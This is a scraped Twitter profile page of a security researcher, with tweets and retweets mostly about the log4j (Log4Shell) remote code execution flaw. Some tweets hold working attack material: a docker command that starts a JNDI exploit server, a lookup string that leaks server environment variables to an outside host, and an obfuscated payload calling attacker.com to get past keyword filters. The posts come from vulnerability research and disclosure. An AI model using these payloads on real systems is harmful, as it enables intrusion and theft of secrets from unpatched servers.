Sick.Codes

@sickcodes

Weaponizing source code vulnerabilities publishing research maintaining open source ordnance on GitHub Made Docker-OSX/iOS

Регистриран през юни 2020 г.

туита

Блокираш @sickcodes

Наистина ли искаш да видиш тези туитове? Това няма да разблокира @sickcodes

  1. Закачен туит
    15.11

    Finally added the rest of the gang to Docker-OSX macOS VM's on Linux & Windows (WSL2 btw)! Full house of VM's for security research: - Monterey - Big Sur - Catalina - Mojave - High Sierra Discord Telegram

    Показване на тази нишка
    Отмяна
  2. ретуитна
    преди 23 часа

    so fixing log4shell is great and all, but.. wouldn't it be amazing if we all just promised to be nice and instead use this power to make vanilla minecraft doom server

    Показване на тази нишка
    Отмяна
  3. ретуитна
    преди 11 часа

    lol triggered a token messing around in

    Отмяна
  4. ретуитна
    преди 14 часа

    lmaoooo who did this?!?!?!? Somebody executed an RCE in the middle of PPV

    Показване на тази нишка
    Отмяна
  5. преди 13 часа

    Free ugly af wallpaper to remind you to either: - patch - find vulns

    Отмяна
  6. ретуитна
    преди 21 часа
    В отговор до

    ufw allow 80 ufw allow 1389 docker run -it \ -p 1389:1389 \ -e LDAP_PORT=1389 \ -p 80:80 \ -e HTTP_PORT=80 \ sickcodes/jndiexploit Works fine however target (app) needs trustURLCodebase set to false

    Отмяна
  7. ретуитна
    11.12

    Wohooo, Me and just got awarded a bounty of $15,000 on for log4j RCE , I love how some companies treat zero days

    Отмяна
  8. ретуитна
    10.12

    the duality of man

    Отмяна
  9. 11.12

    Yeah just running some PoCs, the environment variable exposure is cool and all but seems you need to get crafty as fuck for RCE trustURLCodebase needs to be true... ergo app dependant RCE in non-default(?) Noteworthy:

    Отмяна
  10. ретуитна
    11.12

    Starting to think that making remote code execution a core feature in Java might not have been the best design choice.

    Отмяна
  11. 11.12
    Отмяна
  12. ретуитна
    11.12

    I just had one H1 bug bounty program ask everyone to immediately stop testing for log4j. I just had another H1 program ask for people to specifically find all the log4j they can. Very interesting responses.

    Отмяна
  13. ретуитна
    11.12

    Forget Cyber Export Laws, we're sending 0-Days to Mars!

    Отмяна
  14. 11.12

    . reckon you could make it just a tiny bit easier to log in on mobile? Chatbot overlays the cookie button which overlays the login button

    Отмяна
  15. ретуитна
    10.12

    A story in three parts

    Показване на тази нишка
    Отмяна
  16. ретуитна
    10.12
    Отмяна
  17. ретуитна
    10.12

    In case anyone hasn't discovered this. The Log4J formatting is nestable which means payloads like ${jndi:ldap://${env:user}.xyz.collab.com/a} Will leak server side env vars!

    Отмяна
  18. ретуитна
    11.12

    spent all fucking day, but I finally did it

    Показване на тази нишка
    Отмяна
  19. ретуитна
    11.12

    If you're filtering on "ldap", "jndi", or the ${lower:x} method, I have bad news for you: ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a} This gets past every filter I've found so far. There's no shortage of these bypasses.

    Отмяна
  20. 11.12
    Отмяна
  21. ретуитна
    11.12

    So some notes on the log4j vuln from having worked with on testing various things 1/??

    Показване на тази нишка
    Отмяна

Изглежда зареждането отнема известно време.

Twitter може да е претоварен или да изпитва моментно затруднение. Опитай отново или виж Twitter Status за повече информация.

    Може също да харесаш

    ·